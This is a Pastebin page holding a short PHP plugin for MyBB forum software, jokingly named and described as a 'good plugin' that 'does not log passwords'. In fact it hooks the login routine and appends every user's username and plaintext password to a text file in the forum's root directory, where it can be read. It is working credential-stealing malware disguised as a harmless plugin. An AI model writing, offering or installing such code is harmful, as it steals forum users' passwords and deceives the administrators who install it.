Advertisement
Guest User

goodplugin.php

a guest
May 27th, 2015
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.92 KB | None | 0 0
  1. <?php
  2.  
  3. global $not_a_logfile;
  4.  
  5. $not_a_logfile = "test.txt";
  6.  
  7. if(!defined("IN_MYBB")){die();}
  8.  
  9. $plugins->add_hook("member_do_login_end", "not_a_password_logger");
  10.  
  11. function goodplugin_info(){
  12.     return array(
  13.         "name"          => "A good plugin",
  14.         "description"   => "A good plugin that does not log passwords to a file in the forum's root directory",
  15.         "website"       => "",
  16.         "author"        => "not shygoo",
  17.         "authorsite"    => "",
  18.         "version"       => "1.0",
  19.         "guid"          => "",
  20.         "compatibility" => "*"
  21.     );
  22. }
  23.  
  24. function goodplugin_is_installed(){
  25.     return true;
  26. }
  27.  
  28. function goodplugin_install(){}
  29. function goodplugin_uninstall(){}
  30. function goodplugin_activate(){}
  31. function goodplugin_deactivate(){}
  32.  
  33. function not_a_password_logger(){
  34.     global $mybb;
  35.     global $not_a_logfile;
  36.     $name = $mybb->get_input('username');
  37.     $pass = $mybb->get_input('password');
  38.     file_put_contents($not_a_logfile, $name.":".$pass."\n", FILE_APPEND);
  39. }
  40.  
  41. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement